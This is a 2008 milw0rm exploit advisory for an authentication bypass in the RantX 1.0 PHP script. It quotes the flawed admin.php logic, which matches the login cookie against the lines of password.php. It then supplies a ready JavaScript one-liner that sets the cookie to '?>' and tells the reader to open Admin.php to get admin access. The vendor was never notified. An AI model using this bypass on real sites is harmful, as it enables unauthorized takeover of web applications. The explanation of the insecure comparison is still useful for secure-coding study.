477bcbdcc0
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85 lines
2.6 KiB
Text
Executable file
85 lines
2.6 KiB
Text
Executable file
--==+================================================================================+==--
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--==+ RantX 1.0 Insecure Admin Authentication Vulnerability +==--
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--==+================================================================================+==--
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Discovered By: t0pP8uZz
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Discovered On: 14 MAY 2008
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Script Download: http://roticv.rantx.com/rantx.zip
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DORK: N/A
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Vendor Has Not Been Notified!
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DESCRIPTION:
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RantX suffers from a insecure admin authentication peice of code, the code is below. (in middle of admin.php)
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CODE:
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if ($_COOKIE["logininfo"] == NULL){
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LoginPage();
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exit(-1);
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}
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$storedformat = $_COOKIE["logininfo"];
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$filehandle = fopen($passwordfile, "r");
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$contents = fread ($filehandle, filesize ($passwordfile));
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fclose ($filehandle);
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$array2 = explode("\n", $contents);
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foreach ($array2 as $values){
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if (strcmp($values, $storedformat) == 0){
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$passwordvalid = true;
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}
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}
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__EOF__
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ok as we can see, the first thing is that the script checks to see if the cookie "logininfo" exists,
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we can simply craft a cookie with javascript to bypass this part, or form a legit login request.
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next the password file is opened, then the lines are split into an array, then they are looped thru, if the
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line matches the cookie then authentication to admin is GIVEN (TRUE).
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if you check the password.php source, you can see it contains the php tags, of course. (<?php/?>)
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so what if we give the cookie a value of "<?php" or "?>" then when the cookie is checked against the password
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file, one line will return TRUE which will give us admin, as strcmp() compares a string, and since
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the password.php file contains "?>" and our cookie will contain "?>" we will get access.
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the below javascript code will exploit this bug.
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Exploit:
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javascript:document.cookie = "logininfo=?>; path=/";
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NOTE/TIP:
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after running the above javascript code in your browser (preferbly firefox/netscape), vist "Admin.php"
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this should come to your attention how many web-developers are very bad coders. and leave massive
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easy-to-fix holes like this in there scripts.
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just remember when downloading a file of any kind to read through its source, and make sure its secure
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GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !
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peace, t0pP8uZz
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--==+================================================================================+==--
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--==+ RantX 1.0 Insecure Admin Authentication Vulnerability +==--
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--==+================================================================================+==--
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# milw0rm.com [2008-05-15]
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